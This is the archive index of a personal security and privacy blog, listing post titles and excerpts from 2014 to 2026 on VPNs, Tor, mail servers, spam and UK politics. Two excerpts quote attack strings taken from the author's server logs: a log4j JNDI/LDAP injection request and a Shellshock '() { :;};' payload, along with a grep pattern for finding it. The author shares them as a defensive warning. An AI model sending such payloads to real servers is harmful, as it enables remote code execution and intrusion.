archives

Browse trivia’s historic content.

2026 (2)

January 25 :- humourless bureaucrats
My post of 23 March 2023 noted that the UK Passport Office website included the “X-Clacks-Overhead” header referencing Sir Terry Pratchett’s “Clacks”, a technology in the fictional Disc World much like the telegraph (or internet) of our world. I noticed today that the independent Passport Office website has now been swallowed by the all encompassing …
January 25 :- understand your customer
In October last year I posted about my email phishing attack against a group of my friends (at least, I think they are still my friends). That post was an attempt to describe some of the problems inherent in the way people trust the systems they use on a daily basis. People are naturally trusting, …

2025 (7)

October 26 :- the people problem
A couple of weeks or so ago, an old friend from the bike club asked in our club messaging group why supposedly sophisticated companies (such as Jaguar Land Rover. M & S and the Co-op) were still so susceptible to “hacking attacks”. I gave a somewhat flippant reply along the lines of “because their security …
October 11 :- Friday 10 October 2025
Yesterday, 10 October 2025, the Nobel Committee announced that it had awarded the 2025 Nobel Peace Prize to Maria Corina Machado, the Venezualan opposition leader. Machado had been forced into hiding following Venezuela’s presidential election in January 2025, when authorities loyal to Nicolas Maduro, the country’s autocratic leader, declared, despite all evidence to the contrary, …
June 22 :- diplomacy may be dead
But, not, it would seem, irony: Following the (pardon me, unforgivably stupid) US strikes on three Iranian sites (Natanz, Isfahan and Fordo) last night, a statement from Russia’s foreign ministry said: “The irresponsible decision to subject the territory of a sovereign state to missile and bomb attacks, whatever the arguments it may be presented with, …
February 27 :- שלום וברוכים הבאים
Well, this is fascinating. Shortly after I posted the commentary below I received a connection from an IP address which belongs to cellcom.co.il and geolocates to Haifa in Israel. That IP address directly, and specifically, requested a copy of my post entitled “more dumb legislation” immediately followed by a request for a copy of my …
February 27 :- more dumb legislation
On Tuesday of this week (25 February 2025) every major print newspaper in the UK carried an identical front page under the heading “Make it FAIR”. They did this in order to raise awareness of the impending legislation (currently in “consultation”) intended to change the law in the UK to favour big tech platforms in …
February 7 :- blog comments illegal – shock, horror
Well, not quite, but distinctly possible. El Reg has continued comment on the lunacies of the OSA I reported on in my last post. The Reg reports that one Neil Brown, a Director of a UK law firm, believes that individuals who run their own websites (so that would include me) could be held liable …
February 1 :- unintended consequences (or dumb legislation)
I mentioned in my (off normal topic) post of 15 November last year, that I am a member of a motorcycle forum. I am also a member of other online fora, but the bike forum is the only one I really engage with often enough to care about this latest bit of legislative stupidity. In …

2024 (5)

December 24 :- trivia may now vote
This is largely for my old friend Rob who sometimes chides me on the lack of activity here (and for missing trivia’s birthday – born 24 December 2006). So trivia is now 18 years old (and sometimes feels older). I promise I’ll post more next year (he said). And at this time of year my …
November 15 :- and now for something completely different
I am a member of an odd (very odd at times) motorcycle forum. That forum runs a “motorcycle picture of the week” competition. This week, the challenge, set by “Viator” was to show a picture of your bike “with something you have made”. Now since I do not make much in the way of actual …
November 7 :- spoof source identified
This email just in from the tor project team. From: gus To: tor-relays@lists.torproject.org Subject: [tor-relays] Update: Tor relays source IPs spoofed to mass-scan port 22 Date: Thu, 7 Nov 2024 15:49:37 -0300 Hello everyone, I’m writing to share that the origin of the spoofed packets has been identified and successfully shut down today, thanks to …
November 6 :- watchdogcyberdefense.com are complete bozos
And may even be malicious. I have been receiving “malicious activity” reports from my hosting ISP about my Tor node at “tor1.rlogin.net” since about the end of October. So far I have received five such reports. Each report takes the following form: We have received an abuse report from abuse@watchdogcyberdefense.com for your IP address 95.216.198.252. …
April 30 :- Ross Anderson
I have just discovered, shamefully late, that Ross Anderson died at his Cambridge home at the end of last month. He was only 67. Anderson was Professor of Security Engineering at the Cambridge University’s Department of Computer Science and Technology. He had worked at the University since the early 1990s. Professor Anderson was famously rabidly …

2023 (8)

December 21 :- SIS troubles
Yesterday’s i newspaper lead with a report that SIS HQ at Vauxhall Cross could be overlooked from a flat in the new residential property built at St George Wharf. Said flat was reportedly purchased by Russians with links to a Soviet era property in Moscow which is roughly 300 metres away from the “Russian Intelligence …
March 23 :- custom headers in claws mail
My last post described how to add a custom X-header to outgoing email in postfix. But of course this approach is rather a blunt instrument because it necessarily adds the header to all outbound mail which originates from my server. In my particular case that does not matter overmuch, because any and all mail accounts …
March 14 :- postfix x-headers
In my post last week about the X-Clacks-Overhead HTTP header I mentioned that I had added the header to my postfix configuration as outlined in the advice given at gnuterrypratchett.com. As it turns out that advice does not work exactly as I wanted. Firstly, and most importantly, using the “header_checks” table is sub-optimal because it …
March 10 :- comment block
Sadly, over the last few posts I have received way too many attempted porn links as comments. They don’t reach the public face of trivia because of my comment policy, but they are becoming tiresome in the extreme and I have to edit the damned things so I have (hopefully temporarily) turned off all comments.
March 9 :- X-Clacks-Overhead
For some years now I have included the “X-Clacks-Overhead” header in trivia’s lighttpd.conf as a tribute to the late great Sir Terry Pratchett. I am a huge fan of Pratchett’s Discworld series. You may not see the header when you browse trivia, but it is there. Users of linux based systems can easily inspect the …
February 19 :- lost car
Last month I posted an article about the press reports of chinese software and hardware “found” in cars and how that could lead to the cars being tracked by the chinese state (or other hostile agencies). I was therefore delighted to see the cartoon below in issue 1591 of Private eye. I am indebted to …
January 16 :- mobile (in)security
In my last post, an ex GCHQ staffer is quoted as saying: “If you’re stepping back a bit and saying what cars do park outside GCHQ or somewhere like Porton Down then you have the pool of information there if you ever need it.” which got me wondering about how secure existing protective measures around …
January 16 :- brakes-as-a-service
Some parts of the UK press have been reporting recently on the “discovery” of “hidden Chinese tracking devices” in a UK Government car (the original inews report is behind a paywall). The reports quote a “serving member of the British intelligence community” as telling the i newspaper: “It [the tracking SIM] gives the ability to survey …

2022 (4)

December 30 :- signal failure
I use signal as my instant messenger app on my ‘phone and I have the desktop version installed on my, well, desktop. Signal was written by the kind of people I trust and in my view it is infinitely better than plain unencrypted SMS and much better than any of the alternative IMs around (whatsapp, …
October 9 :- systemd free
Way back in February of this year when I concluded my rant about systemd I said: “Given that Ubuntu is tied closely to systemd and will be implementing the ridiculous systemd-homed.service shortly, and that Mint is based on Ubuntu and will perforce probably follow, I have now given up on Mint and moved to another …
February 3 :- no systemd
I have mentioned before that I really, really, really do not like systemd. Whilst it remained a simple replacement for init (albeit with some peculiarites) I could put up with it so long as it didn’t get in my way, or my way of working. After all, if all the major distro developers were convinced …
February 2 :- why reykjavik?
For some time now I have been getting spam about property sales. Almost all of the ones that get through (I edit my spam filters to stop the bulk of them) take the form of offering me the chance to buy in to “off-plan developments” in various places, some in the UK, others in obvious …

2021 (17)

December 29 :- trivia’s birthday
My old friend Rob has just messaged me to question why I missed noting trivia’s birthday this year (born 24th of December 2006, so now an astonishing 15 years old and almost eligible to vote). So this is for you Rob. No, I haven’t forgotten. and no I am not dead. Happy New Year to …
December 17 :- log4j
I guess that there are a lot of busy sysadmins around at the moment. My web logs are full of crud like: “GET /$%7Bjndi:ldap://123.345.567:789/Exploit%7D” and much lengthier entries trying to exploit the log4j vulnerability. In my case (and for this instance) I’m not that bothered because, luckily, I don’t run Apache, or any of its …
October 22 :- rebranding may not work
El Reg has commented on Facebook’s announced intention to rebrand itself in much the same way that Google introduced a new overaching company named Alphabet. In typical Reg fashion they have asked the readership what they think would be the best name. The results currently favour SPECTRE by some large margin. As usual, the Reg …
October 15 :- zuck off facebook
Or how to block the entire Facebook network. In my last post on Facebook’s misfortunes I mentioned that my wife initially blamed me, assuming it was just local and that I had made some new change to my local network configuration. Now whilst I do actually bin some of Facebook’s more annoying subdomains (such as …
October 4 :- I know I shouldn’t laugh
But in what looks to me very like a DNS snafu, Facebook, Whatsapp and Instagram all disappeared today for a huge swathe of users from around 16.20 UK time. Downdetector shows: (I love that big red button in the middle of the page which says “I have a problem with Facebook”. Yes I do, and …
September 9 :- dirty laundry
I have lately been reading Charlie Stross’s excellent Laundry Files series. In that series, the main protagonist is Bob Howard, one time sysadmin for the Department of Transport, since recruited by the “Laundry” which is that part of HMG’s Security Service which deals with countering Occult Threats. Bob’s IT skills are wide, deep and varied …
September 6 :- check2ip gone
For many years now I have used check2ip to, well, check my IP address. That service on a single page on the net gave me a quick snapshot of my current address and the DNS servers I was resolving against. I used it because I have a bunch of VPNs (and usually route my traffic …
September 4 :- stop starttls
I have been a subscriber to Hanno Böck’s Feisty Duck TLS Newsletter for some time. Böck’s newsletters provide a useful service to TLS users. I am also a big fan of Ivan Ristić’s “Openssl cookbook” which is available as a free download from the Feistyduck website. A couple of days ago the latest Feistyduck newsletter …
May 27 :- nothing to hide, nothing to fear
I recently came across this rather nice (spoof) NSA site describing the work of the Agency’s “Domestic Surveillance Directorate”. That Directorate supposedly exists to protect the citizen from the usual suspects (terrorists, paedophiles, criminals) and is tasked with data collection and analysis to support that end. The site says: “Our value is founded on a …
May 15 :- fastboot oem get_unlock_data hangs on moto g7 plus
I am posting this in the hope it may help others who find themselves in a similar position to myself. I have recently upgraded my mobile ‘phone (from a Motorola Moto X4) to a Moto G7 plus. I chose this particular phone because I like Motorolas. I like the fact that they are relatively cheap …
May 2 :- is it me?
I found this on flipboard. Take a look at the headline. Oh yes indeed. My browsing will be so much more private if I pass everything through a google VPN.
April 29 :- RIP Dan Kaminsky
I learned today that Dan Kaminsky died on Friday 23 April of complications arising from his diabetes. (I would probably have learned earlier if I followed twitter, but I don’t.) He was only 42. I met Kaminsky at an MSRC Bluehat Forum in 2009. He was only 30 at the time, but already widely respected, …
April 5 :- villainous spam
Or a spammer with a sense of humour. I have very recently been hit by a spate of new spam asking me to sign up to save on a new mortgage, or change my car insurer or meet attractive asian ladies amongst other such enticements. They are all blocked now because, despite using different domain …
March 26 :- Stallman and Tor
This may be controversial. Yesterday, a member of the Tor relays mailing list posted the following to the list: “I’ve been running a relay/exit node for many years. Tor user since ~2004. To the extent that my voice means anything at all here, I would like to strongly condemn the Tor project joining the attempt …
March 23 :- irony bypass
Foreign Secretaries may come and go, but their inability to spot irony seems to be consistent. Back in February 2014 I commented on William Hague’s apparent concern about press restrictions in Egypt at a time when the Guardian newspaper in the UK was reporting on the threats of Legal Action they had received from the …
February 12 :- filling the void
Mark Pesce wrote a column in El Reg this week relating the story of how a friend of his had stumbled upon an example of the phenomenon noted by social media researcher Danah Boyd and Microsoft’s Michael Golebiewski as a “data void”. The particular void that Pesce’s friend had entered was around details of the …
January 31 :- no spy cameras
I have written in the past about some of the persistent requests I get for guest posts or sponsored links on trivia. I suppose I should be flattered that some people seem to think that trivia has a wide enough readership to make that sort of thing attractive (to either party), but I’m not. As …

2020 (17)

December 20 :- Merry Christmas 2020
Shit – what a year. But let’s not go into all that. I’m a little early with this post this year. I normally mark trivia’s birthday (Dec 26th) on the day itself. This year I may not actually wish to even leave the duvet on Boxing Day so I thought I’d take the opportunity today …
December 1 :- VPS comparison
My last post highlighted the astonishingly good deal I have just had from racknerd. I’ve been running VPS systems for some time now so I thought I would look back over my archived email to see what I could find about my earliest experiences. I found an invoice for a system I first rented back …
November 30 :- an even bigger bargain VPS
At about this time last year I wrote about my impressively cheap new VPS on ITLDC’s network in Prague. Prices of VPSs continue to come down and I now have several dotted around Europe which each cost me around three euros per month. But I am always on the lookout for a new provider and, …
November 18 :- from russia with malintent
Just to prove that ‘bots really are stupid, my last post below has just been hit by a spam bot. And this is what whois has to say about the source address: inetnum: 92.127.16.0 – 92.127.31.255 netname: WEBSTREAM descr: OJSC “Sibirtelecom” remarks: Kemerovo branch of the OJSC “Sibirtelecom” remarks: broadband service country: RU remarks: Direct …
November 15 :- comment spam irony
I am very careful about how, or even if, I allow comments on trivia. For example I disallow all comments on any post after a set period of time, I also refuse all comments until I have had time to read and thus moderate them. This cuts down on the type of rubbish often seen …
October 27 :- braindead mail service
Back in early 2019, I wrote about a problem I was having with mail from my system going to BT based accounts. At the time, BT was rejecting my mail as potential spam. As I wrote at the time, I was pleasantly surprised when the BT postmaster replied positively to my request that they investigate …
September 11 :- laws are made to be broken
We here in England must now limit our social interaction to the “rule of six”. Our dear, delusional, demented, certifiable, mendacious, law breaking Prime Minister says that I cannot meet in my home with more than six people – despite the fact that I can go to the Gym, or a Supermarket, or a Pub, …
June 6 :- encrypting DNS on android
My previous two posts discussed the need for encrypted DNS and then how to do it on a linux desktop. I do not have any Microsoft systems so I have no idea how to approach the problem if you use any form of Windows OS, nor do I have any Apple devices so I can’t …
May 25 :- encrypting DNS with dnsmasq and stubby
In my last post I explained that in order to better protect my privacy I wanted to move all my DNS requests from the existing system of clear text requests to one of encrypted requests. My existing system forwarded DNS requests from my internal dnsmasq caching servers to one of my (four) unbound resolvers and …
May 6 :- encrypting DNS
Any casual reader of trivia will be aware that I care about my privacy and that I go to some lengths to maintain that privacy in the face of concerted attempts by ISPs, corporations, government agencies and others to subvert it. In particular I use personally managed OpenVPN servers at various locations to tunnel my …
April 10 :- zooming in on china
Since my previous post below, I have been reading up on Zoom as a company, its staffing and its worrying security (or rather lack of) track record. When I wrote the initial post I said that “Zoom is a US company funded almost entirely by venture capital. Its servers are US based.”. It appears that …
April 3 :- zooming in on cabinet
On Tuesday of this week, Boris Johnson tweeted a picture of what he called the UK’s “first ever digital Cabinet”. That picture (copy below) shows that the Cabinet meeting was held using Zoom – the sort of video conferencing software which is currently popular with business users forced to work at home during the Covid19 …
March 11 :- beware the zombie apocalypse
Tom Scott is a young educational entertainer who publishes fairly regularly on youtube. Back in mid 2004, whilst still a linguistics student at York, he managed to upset both the Home Office and the Cabinet Office by publishing a Department of Vague Paranoia website spoofing the rather po faced official “Preparing for Emergencies” site. Tom’s …
February 27 :- have I been pwned?
Well, I don’t think so. But for a while I was not entirely sure. Following the move last November of trivia from a VM on UK2’s datacentre in London to our new home on a faster VM on ITLDC’s network I have been making a variety of minor changes and doing some essential housework. One …
January 22 :- TLS certificate checks
My move of trivia to a new VM last December prompted me to look again at my server configuration. In particular I wanted to ensure that I was properly redirecting all HTTP requests to HTTPS and that the ciphers and protocols I support are as up to date and strong as possible. Mozilla offers a …
January 14 :- do not ask me for guest posts or links
For the past four years or so I have been receiving increasingly frequent requests for either guest posts, or links to external sites (or sometimes both). The requests have increased in number ever since I started posting about my use of OpenVPN. Many of these requests want me to point to their commercial VPN site. …
January 14 :- retiring the slugs
I first started using Linksys NSLU2s (aka “slugs”) in early 2008. Back then I considered them quite useful and I even ran webservers and local apt-caches on them. But realistically they are (and even then, were) a tad underpowered. Worse, since Debian on the XScale-IXP42x hasn’t been updated for several years, the slugs are probably …

2019 (12)

December 5 :- welcome to prague
As of today we are now fully functional in our new home in a datacentre in Prague. We also have a new letsencypt certificate. If you see any problems, let me know at the usual email address. Enjoy
November 28 :- a bargain VPS
I have been using services from ITLDC for about three years now. I initially picked one of their cheap VMs based in the Netherlands whilst I was expanding my VPN usage, and frankly, I was not expecting much in the way of customer service or assistance for the very low price I paid. After all …
July 23 :- fsckd
God help us all.
July 15 :- more password stupidity
A recent exchange of email with an old friend gave me cause to revisit on-line password/passphrase generators. I cannot for the life of me imagine why anyone would actually use such a thing, but there are a surprisingly large number out there. On the upside, most of these now seem to use TLS encrypted connections …
July 10 :- add my name to the list
At the tail end of last year, Crispin Robinson and Ian Levy of GCHQ published a co-authored essay on “suggested” ways around the “going dark problem” that strong encryption in messaging poses Agencies such as GCHQ and its (foreign) National equivalents. In that essay, the authors were at pains to state that they were not …
July 7 :- openvpn clients on pfsense
In my 2017 article on using OpenVPN on a SOHO router I said: “In testing, I’ve found that using a standard OpenVPN setup (using UDP as the transport) has only a negligible impact on my network usage – certainly much less than using Tor.” That was true back then but is unfortunately not so true …
June 26 :- one unbound and you are free
I have written about my use of OpenVPN in several posts in the past, most latterly in May 2017 in my note about the Investigatory Powers (IP) Bill. In that post I noted that all the major ISPs would be expected to log all their customers’ internet connectivity and to retain such logs for so …
June 11 :- back to the gym
Having just returned from a family holiday which included too much food and drink and nowhere near enough exercise (well, that’s what holidays are for) I needed to get back to the gym in order to work off some of the excess. My local gym has recently undergone a major refurbishment and equipment upgrade and …
March 21 :- more in the “you couldn’t make it up” dept
The UK Parliamentary petitions site is currently hosting what appears to be one of the most popular it has ever listed. The petition seeks to gain support for revocation of article 50 so that the UK can remain in the EU. Personal politics aside (though in the interests of transparency I should say that I …
February 16 :- postfix sender restrictions – job NOT done
OK, I admit to being dumb. I got another scam email yesterday of the same formulation as the earlier ones (mail From: me@mydomain, To: me@mydomain) attempting to extort bitcoin from me. How? What had I missed this time? Well, this was slightly different. Checking the mail headers (and my logs) showed that the email had …
January 24 :- postfix sender restrictions
I mentioned in my previous post that I had recently received one of those scam emails designed to make the recipient think that their account has been compromised in some way and that, furthermore, that compromise has led to malware being installed which has spied on the user’s supposed porn habits. The email then attempts …
January 23 :- congratulations to BT
I have been running my own mail server now for well over a decade. Whilst the actual physical hardware (or actually VPS system) may have changed once or twice during that time, the underlying software (postfix and dovecot on debian) has not really changed all that much. However, what has changed over the last decade …

2018 (5)

December 24 :- always keep the address
I normally post a “happy birthday trivia” message at this time of year. Indeed I have been doing this for 12 years now. Of late my posting has become less frequent which is somewhat odd since I now have much more free time than I had back when I started trivia. But no matter – …
December 12 :- wordpress 5.0 editor error
When I posted yesterday I noticed that there was a new version (5.0) of wordpress available for installation. So I decided to spend a short while today upgrading as I always do when a new software version is released. But I hit a snag – a big one. The new version of wordpress includes a …
December 11 :- well I never
It’s not often that I find myself agreeing with GCHQ, but ex GCHQ Director Robert Hannigan’s recent comments in an interview with the BBC Today programme struck a chord. Hannigan headed GCHQ from April 2014 until his resignation for family reasons last year. Whilst in post he pushed for greater transparency at the SIGINT agency. …
July 7 :- re-encrypting trivia
Back in June 2015 I decided to force all connections to trivia over TLS rather than allow plain unencrypted connections. I decided to do this for the obvious reason that it was (and still is) a “good thing” (TM). In my view, all transactions over the ‘net should be encrypted, preferably using strong cyphers offering …
February 18 :- database failure
In 1909, Franz Kafka wrote the “Inclusion of Private Automobile Firms in the Compulsory Insurance Program” as part of “The Office Writings”. His experience of tortuous bureaucracy in Insurance and elsewhere was later reflected in one of his most famous novels “Der Process” (known in English translation as “The Trial”). Back in October last year …

2017 (12)

December 26 :- Merry Christmas 2017
I’m a couple of days late this year. I normally post on Christmas Eve, trivia’s birthday, but hey, I’ve been busy (it goes with the territory at this time of year if you are a grandparent). This year I thought I would depart from my usual topic(s) and post a couple of pictures marking the …
October 14 :- multilingual chat
I use email fairly extensively for my public communication but I use XMPP (with suitable end-to-end encryption) for my private, personal communication. And I use my own XMPP server to facilitate this. But as I have mentioned in previous posts my family and many of my friends insist on using proprietary variants of this open …
September 30 :- geeks rule
Well, sliderule, actually. The ‘net is a truly wondrous space. I can’t recall exactly how I stumbled across the “International Sliderule Museum” but it is such a wonderful resource devoted to a tool which most people under the age of 40 will never have used that I just had to post a link to it. …
August 2 :- a letter to our dear home secretary
Dear Amber So,”real people” don’t care about privacy? All they really want is ease of use and a pretty GUI so that they can chat to all their friends on-line? Only “the enemy” (who is that exactly anyway?) needs encryption? Excuse me for asking, but what have you been smoking? Does the Home Office know …
June 6 :- it is now
Back in January 2011, I posted a brief note about a site hosted at the domain “ismycomputeroff.com“. I have just had occasion to look again at that site and found that the domain is now definitely off. It is parked at sedo and is up for sale at the ludicrous price of 599 euros. Tell …
May 25 :- monday in manchester
At around 22.30 last Monday, Manchester was subjected to an horrific attack at a pop concert. As the world now knows, a suicide bomber deliberately targeted young people and their friends and families as they were leaving a concert by the young pop singer Ariana Grande. In that attack, 22 people, including children as young …
May 12 :- using a VPN to take back your privacy
With the passage into law of the iniquitous Investigatory Powers (IP) Bill in the UK at the end of November last year, it is way past time for all those who care about civil liberties in this country to exercise their right to privacy. The new IP Act permits HMG and its various agencies to …
April 27 :- free Dmitry Bogatov
Dmitry Bogatov, aka KAction, is a Russian free software activist and mathematics teacher at Moscow’s Finance and Law University. He was arrested in Russia on 6 April of this year and charged with extremism. He is currently held in a pre-trial detention centre, and is apparently likely to remain there until early June at least, …
March 18 :- pwned
I recently received a spam email to one of my email addresses. In itself this is annoying, but not particularly interesting or that unusual (despite my efforts to avoid such nuisances). What was unusual was the form of the address because it contained a username I have not used in a long time, and only …
February 9 :- this is what a scary man looks like
No, I mean the one on the right – the one Trump is pointing at. General John Kelly is just one of Trump’s controversial appointments (and not necessarily the worst) and I guess that by writing this now, I have finally nailed down the lid on the coffin of my ever returning to the US. …
January 30 :- variable substitution – redux
Back in October last year, I posted a note about the usage of variable substitution in lighttpd’s configuration files. In fact I got that post very slightly wrong (now corrected) in that I showed the test I applied in the file as: “$HTTP[“remoteip”] !~ “12.34.56.78″”. (Note the “!~” when I should have used “!=”). This …
January 30 :- not welcome here
US President Trump has said that refugees and travellers from seven, mainly majority Muslim, countries are barred from entry to the US. Notwithstanding our own dear PM’s invitation to Trump, some 1.2 million brits have so far signed a Parliamentary petition to “Prevent Donald Trump from making a State Visit to the United Kingdom“. I …

2016 (12)

December 24 :- Merry Christmas 2016
As is now traditional :-) I post today to wish everyone a very merry christmas. Today is trivia’s birthday – indeed it is trivia’s 10th birthday so I have been writing here for a decade. Good grief. If I had known then what I know now trivia might have been still born. As it is …
November 11 :- if it be your will
A bleak week just got worse. The results of the US Presidential election are, frankly, beyond belief. We now have a xenophobic, racist, misogynistic megalomaniac waiting to move into the White House and become, literally, the most powerful man on earth. And now Leonard Cohen has died. Cohen is one of my all time favourite …
October 24 :- do not click here
I have just noticed that the getsafeonline campaign’s website contains this wonderfully ironic side bar graphic. Go on, you know you want to.
October 22 :- NFC? NFW
As is our custom on a Saturday, this morning my wife and I went out to a local cafe for breakfast. We know the proprietress so I was chatting to her whilst paying for the meal. Part way through the chat, the cafe proprietress tore off the receipt from the POS terminal and removed my …
October 19 :- variable substitution in lighttpd
I’ve been a lighty user for many years now, having junked apache when it became obviously overweight for my target devices (the slugs in particular). Trivia is, of course, powered by lighty as are all my other websites. Lighty’s configuration file syntax is reasonably simple to understand, and is well documented on the Redmine wiki. …
July 13 :- show me yours
As Theresa May moves from the Home Office to Number 10, it is perhaps timely to reflect on public attitudes to surveillance as evidenced in Liberty’s campaign film “Show me yours” in April of this year. In the film (shown below), comedian Olivia Lee pursues members of the public with the intention of taking details …
May 2 :- raid performance
I have recently been building a new NAS box (of which, possibly, more later). In fact the build is really a rebuild because I initially built the server about three years ago in order to consolidate a bunch of services I was running on assorted separate servers into one place. That first build was a …
March 30 :- jibber jabber
For some time mow I have been increasingly fed up with the poor service offered by SMS on my mobile phone. I’m not a hugely prolific sender of text messages, and those I do send are primarily aimed at my wife and kids, but when I do send them, I expect them to get there, …
January 24 :- guest network
Last month Troy Hunt posted an interesting comment on his blog about the problems around the etiquette of allowing guests onto your home wifi network. In his post, Hunt notes that guests can be deeply offended at being refused access. This is understandable. If they are guests in your home then they are probably close …
January 11 :- sign this now
I am a paying member of both Amnesty International and the Open Rights Group. Both those organisations, along with many other Civil Rights organisations, technology companies and concerned individuals are signatories to an open letter to Governments across the world demanding that we retain the right to strong encryption in order to protect our privacy. …
January 7 :- idiotic
Today’s Register has an article about the UK Internet Service Providers Association written evidence to the Parliamentary Joint Committee on the Draft Investigatory Powers Bill. I don’t wish to comment on that evidence here, Adrian Kennard has already provided much useful comment on the failings of the Draft Bill. My purpose in this post to …
January 1 :- a bad way to end the year
Sadly, I read today that Ian Murdock, the “Ian” in Debian, died on Monday, 28 December 2015. He was only 42 years old. Various reports indicate that he had been distressed for some time before his death. The tweets reportedly from Murdock’s twitter account shortly before his death are very disturbing. Murdock’s contribution to the …

2015 (19)

December 24 :- merry christmas 2015
It’s trivia’s birthday again (9 years old today!), so I just have to post to wish my readers (both of you, you know who you are….) a Merry Christmas and a happy New Year. Much has happened over the last year or so which has distracted me from blogging (life gets in the way sometimes) …
December 8 :- knees and other jerks
On sunday, the motherboard intially reported that, in the wake of the Paris atrocities of November 13th, the French Government was proposing to ban Tor and free WiFi. As it turns out, this is not strictly accurate. The report was later corrected – thus: Correction: The initial headline and copy of this article suggested that …
November 28 :- cameron meets corbyn
(With thanks to David Malki!)
November 23 :- christmas present
Like most people in the UK at this time of the year I’ve been doing some on-line shopping lately. Consequently I’m waiting for several deliveries. Some delivery companies (DHL are a good example) actually allow you to track your parcels on-line. In order to do this they usually send out text or email messages giving …
November 10 :- torflow
Yesterday, Kenneth Freeman posted a note to the tor-relays list drawing attention to a new resource called TorFlow. TorFlow is a beautiful visualisation of Tor network traffic around the world. It enables you to see where traffic is concentrated (Europe) and where there is almost none (Australasia). Having the data overlaid on a world map …
October 29 :- lancashire police fail
This is simply depressing. Today I received a classic phishing attack email – the sort I normally bin without thought. According to virustotal, the attachment, which purported to be an MS Word document called “Invoice 7500005791.doc”, was a copy of W97M/Downloader, a word macro trojan which Symantec says is a downloader for additional malware. So …
October 15 :- update to privacy policy
As promised in my privacy policy, this post draws attention to the fact that I have amended that policy (very slightly). The amendments refer to the fact that I no longer use Counterize to collect run time statistics. I prefer instead to use Awstats which runs over my log file on a weekly basis. I …
August 20 :- update to domain privacy
At the end of last month I noted that I had been receiving multiple emails to each of the proxy addresses listed for my newly registered “private” domains. Intriguingly, whilst I was receiving at least three or four such emails a week before I wrote about it, I have had precisely zero since. Probably coincidence, …
August 19 :- why privacy matters
Last month my wife and I shared a holiday with a couple of old friends. We have known this couple since before we got married, indeed, they attended our wedding. We consider them close friends and enjoy their company. One evening in a pub in Yorkshire, we got to discussing privacy, the Snowden revelations, and …
July 30 :- get your porn here
Dear Dave is at it again. Sometimes I worry about our PM’s priorities. Not content with his earlier insistence that UK ISPs must introduce “family friendly (read “porn”) filters”, our man in No 10 now wants to “see age restrictions put into place or these (i.e. “porn”) websites will face being shut down”. El Reg …
July 28 :- domain privacy?
Over the past few months or so I have bought myself a bunch of new domain names (I collect ’em….). On some of those names I have chosen the option of “domain privacy” so that the whois record for the domain in question will show limited information to the world at large. I don’t often …
June 5 :- why pay twice?
Yesterday’s Independent newspaper reports that HMG has let a contract with five companies to monitor social media such as twitter, facebook, and blogs for commentary on Goverment activity. The report says: “Under the terms of the deal five companies have been approved to keep an eye on Facebook, Twitter and blogs and provide daily reports …
June 2 :- de-encrypting trivia
Well, that didn’t last long. When I decided to force SSL as the default connection to trivia I had forgotten that it is syndicated via RSS on sites like planet alug. And of course as Brett Parker helpfully pointed out to me, self-signed certificates don’t always go down too well with RSS readers. He also …
June 1 :- encrypting trivia
In my post of 8 May I said it was now time to encrypt much, much more of my everyday activity. One big, and obvious, hole in this policy decision was the fact that the public face of this blog itself has remained unencrypted since I first created it way back in 2006. Back in …
May 14 :- what is wrong with this sentence?
Yesterday the new Government published a press release about the forthcoming first meeting of the new National Security Council (NSC). That meeting was due to discuss the Tory administration’s plans for a new Counter-Extremism Bill. The press release includes the following extraordinary statement which is attributed to the Prime Minister: “For too long, we have …
May 8 :- back on topic
Theresa May hasn’t wasted any time. The Independent reports today that Ms May (Home Secretary in the coalition administration) has said that the new Tory administration will bring the Draft Communications Data Bill, previously blocked by the Liberal Democrats, back to the House of Commons with the intention of getting it passed into law. As …
May 8 :- do not be ordinary
The early results of yesterday’s poll are depressing beyond belief. It looks almost certain that the Tory party will have sufficient seats to form the next government. I don’t often make party political points here (though my political leanings may sometimes be obvious) but I was reminded today of Neil Kinnock’s heart rending speech in …
March 30 :- the russians are back
About four years ago I was getting a huge volume of backscatter email to the non-existent address info@baldric.net. After a month or so it started to go quiet and eventually I got hardly any hits on that (or any other) address. A couple of weeks or so ago they came back. My logs for weeks …
March 30 :- kidnapped by aliens
An old friend of mine has expressed some concern at the lack of activity on trivia of late. In his most recent email to me he said: “You really should revive Baldric you know. Everyone will believe it if you just say you were kidnapped by aliens, and then you can just resume where you …

2014 (28)

December 24 :- merry christmas 2014
As I have noted before, 24 December is trivia’s birthday. Since my first post dates from 24 December 2006, today is trivia’s eighth birthday. It seems like only yesterday. I haven’t posted much in the last few months. I have a lot of material I need to cover, and a backlog of articles I want …
December 13 :- solidarity with the tor project
On Thursday 11 December, Roger Dingledine of the Tor project posted the following email to the “tor-talk” mail list (to which I am subscribed). I’d like to draw your attention to https://blog.torproject.org/blog/solidarity-against-online-harassment https://twitter.com/torproject/status/543154161236586496 One of our colleagues has been the target of a sustained campaign of harassment for the past several months. We have decided …
November 27 :- independent hit
On trying to reach the website of the Independent newspaper today (the Grauniad is trying my patience of late), I received the following response: Closing the popup takes you to this page: I haven’t checked whether this is simply a DNS redirect or an actual compromise of the Indy site, but however the graffiti was …
September 26 :- CVE-2014-6271 bash vulnerability
Guess what I found in trivia’s logs this morning? 89.207.135.125 – – [25/Sep/2014:10:48:13 +0100] “GET /cgi-sys/defaultwebpage.cgi HTTP/1.0” 404 345 “-” “() { :;}; /bin/ping -c 1 198.101.206.138” I’ll bet a lot of cgi scripts are being poked at the moment. Check your logs guys. A simple grep “:;}” access.log will tell you all you need …
August 13 :- net neutrality
My apologies that this is a few weeks late – but it still bears posting. John Oliver at HBO gave the best description of the net neutrality argument I have seen so far. Following that broadcast, the FCC servers were, rather predictably, overwhelmed by the outraged response from the trolls that Oliver set loose. Unfortunately, …
August 11 :- levison on dime
Ladar Levison and Stephen Wyatt presented the upcoming Dark Internet Mail Environment (DIME) at Defcon22 this week. According to El Reg, Levison, who shut down Lavabit, his previous mail service rather than comply with FBI demands that he divulge the private SSL certificates used to encrypt traffic on that service, said: “I’m not upset that …
July 28 :- punctuation matters
There is a nice tweet over at @NSA_PR. It reads: We take your privacy, seriously. Beyond parody.
July 23 :- department of dirty
Like most ‘net users I get my fair share of spam. Most of it gets binned automatically by my email system, but of course some still gets through so I am used to hitting the delete button on random email from .ru domains offering me the opportunity to “impress my girl tonight”. Most such phishing …
July 21 :- drip
I get my domestic ADSL connectivity from the rather excellent people at Andrews and Arnold. Here’s why. And this is the original reason I moved to them. They also happily take (and similarly reply to) GPG encrypted support questions. Good guys. Thoroughly recommended. Now can you /really/ see BT doing any of that? ‘thought not.
June 30 :- inappropriate use of technology
